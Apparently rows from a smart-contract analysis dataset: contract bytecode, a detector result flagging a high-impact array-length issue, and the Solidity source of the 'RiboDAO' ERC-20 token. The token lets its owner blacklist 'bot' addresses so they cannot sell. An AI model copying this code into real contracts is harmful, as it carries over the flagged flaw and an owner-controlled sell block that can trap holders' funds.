081101561042957600080fd5b506001600160a01b038135169060200135610e24565b61023c6004803603604081101561045557600080fd5b506001600160a01b038135169060200135610f22565b61023c6004803603604081101561048157600080fd5b506001600160a01b038135169060200135610f5e565b610258600480360360408110156104ad57600080fd5b506001600160a01b0381358116916020013516611030565b61023c600480360360608110156104db57600080fd5b506001600160a01b03813516906020810135906040013561105b565b6102586004803603602081101561050d57600080fd5b50356001600160a01b0316611278565b6102fa6004803603606081101561053357600080fd5b506001600160a01b038135169060208101359060400135611293565b61023c6004803603602081101561056557600080fd5b50356001600160a01b0316611402565b6102fa6004803603602081101561058b57600080fd5b50356001600160a01b0316611420565b604051806040016040528060058152602001600160d81b645245414c430281525081565b60006105cc33848461147d565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106365760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106a75760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106b08461156f565b6106bb848484611792565b949350505050565b601281565b6b033b2e3c9fd0803ce800000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105cc918590610714908663ffffffff6117e416565b61147d565b6003546001600160a01b0316331461076a5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107cb5760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108575760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108d657fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061090b57fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109b1576001600160a01b038416600090815260056020526040902080546109a791908390811061098657fe5b906000526020600020906002020160010154836117e490919063ffffffff16565b915060010161093d565b506109cb816109bf85611841565b9063ffffffff6117e416565b9392505050565b6003546001600160a01b03163314610a235760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610a925760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610af4919083908110610abb57fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff6117e416565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b4857fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610b9357fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c52576001600160a01b038216600090815260056020526040902080546000198101908110610bf557fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c3357fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c7b906000198301611b83565b505050565b6003546001600160a01b03163314610cd15760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d285760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dba5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b6003546001600160a01b03163314610e755760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610e7e82611841565b811115610ed55760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610edf828261185c565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105cc918590610714908663ffffffff61192616565b3360009081526004602052604081205460ff1615610fc65760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561101d5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6110263361156f565b6109cb8383611986565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110af5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661110d5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b600354611122906001600160a01b0316611841565b8311156111795760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111a4908463ffffffff61192616565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611cf2833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146112e45760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b816112ee84611841565b10156113445760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b03831660009081526020819052604090205461136d908363ffffffff61192616565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b031633146114715760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b61147a81611993565b50565b6001600160a01b0383166114c557604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d586024913960400191505060405180910390fd5b6001600160a01b03821661150d57604051600160e51b62461bcd028152600401808060200182810382526022815260200180611cd06022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b03821660009081526005602052604090205481101561178e576001600160a01b03821660009081526005602052604090208054429190839081106115b957fe5b90600052602060002090600202016000015411611786576001600160a01b038216600090815260056020526040902080546115f9919083908110610abb57fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061164d57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b038216600090815260056020526040812080548390811061169857fe5b60009182526020808320600160029093020191909101929092556001600160a01b03841681526005909152604090205460001901811461175b576001600160a01b0382166000908152600560205260409020805460001981019081106116fa57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061173857fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b0382166000908152600560205260409020805490611784906000198301611b83565b505b600101611572565b5050565b600061179f848484611a4d565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546117da918691610714908663ffffffff61192616565b5060019392505050565b6000828201838110156109cb5760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118a457604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d126021913960400191505060405180910390fd5b6002546118b7908263ffffffff61192616565b6002556001600160a01b0382166000908152602081905260409020546118e3908263ffffffff61192616565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611cf2833981519152929081900390910190a35050565b6000828211156119805760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105cc338484611a4d565b6001600160a01b0381166119f15760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611a9557604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d336025913960400191505060405180910390fd5b6001600160a01b038216611add57604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cad6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b06908263ffffffff61192616565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b3b908263ffffffff6117e416565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611cf283398151915292918290030190a3505050565b815481835581811115610c7b57600083815260209020610c7b916105d99160029182028101918502015b80821115611bc75760008082556001820155600201611bad565b5090565b6001600160a01b038216611c295760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c3c908263ffffffff6117e416565b6002556001600160a01b038216600090815260208190526040902054611c68908263ffffffff6117e416565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611cf28339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a723058207ba0c2b1f4670cfb717082f3fd73323cb88b2dfecbe30e75ee3a12a9c4cd9ca50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,207 |
0xb23d30f148907f1bdb96eaa5ff3e0c64fd870582
|
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RiboDao is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,3,0,3);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
string private constant _name = "RiboDAO";
string private constant _symbol = "RIBO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xf2d9280d9a8271AA2c8982B1248622BaE984FE4e);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(1).div(100);
_maxWalletSize = _tTotal.mul(2).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b60405161016791906129d2565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612a9c565b61051c565b6040516101a49190612af7565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b12565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f89190612b88565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ceb565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d34565b6108a4565b60405161025e9190612af7565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d87565b61097d565b005b34801561029c57600080fd5b506102a5610a6d565b6040516102b29190612dd0565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612deb565b610a76565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e44565b610aef565b005b34801561031957600080fd5b50610334600480360381019061032f9190612deb565b610ba1565b005b34801561034257600080fd5b5061034b610c7b565b005b34801561035957600080fd5b50610374600480360381019061036f9190612d87565b610ced565b6040516103819190612b88565b60405180910390f35b34801561039657600080fd5b5061039f610d3e565b005b3480156103ad57600080fd5b506103b6610e91565b005b3480156103c457600080fd5b506103cd610f48565b6040516103da9190612e80565b60405180910390f35b3480156103ef57600080fd5b506103f8610f71565b60405161040591906129d2565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612a9c565b610fae565b6040516104429190612af7565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612deb565b610fcc565b005b34801561048057600080fd5b506104896110a6565b005b34801561049757600080fd5b506104a0611120565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612e9b565b61168b565b6040516104d69190612b88565b60405180910390f35b60606040518060400160405280600781526020017f5269626f44414f00000000000000000000000000000000000000000000000000815250905090565b6000610530610529611712565b848461171a565b6001905092915050565b610542611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612f27565b60405180910390fd5b600f5483856105de9190612f76565b11156105e957600080fd5b60105481836105f89190612f76565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000683635c9adc5dea00000905090565b61064a611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f27565b60405180910390fd5b60005b81518110156108a0573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070d5761070c612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107805761077f612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f4576107f3612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088d5760016007600084848151811061083357610832612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089890612ffb565b9150506106da565b5050565b60006108b18484846118e3565b610972846108bd611712565b61096d8560405180606001604052806028815260200161384c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610923611712565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e899092919063ffffffff16565b61171a565b600190509392505050565b610985611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612f27565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab7611712565b73ffffffffffffffffffffffffffffffffffffffff1614610ad757600080fd5b6031811115610ae557600080fd5b8060128190555050565b610af7611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612f27565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610ba9611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d90612f27565b60405180910390fd5b60008111610c4357600080fd5b610c726064610c6483683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbc611712565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc57600080fd5b6000479050610cea81611fb1565b50565b6000610d37600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201d565b9050919050565b610d46611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90612f27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e99611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90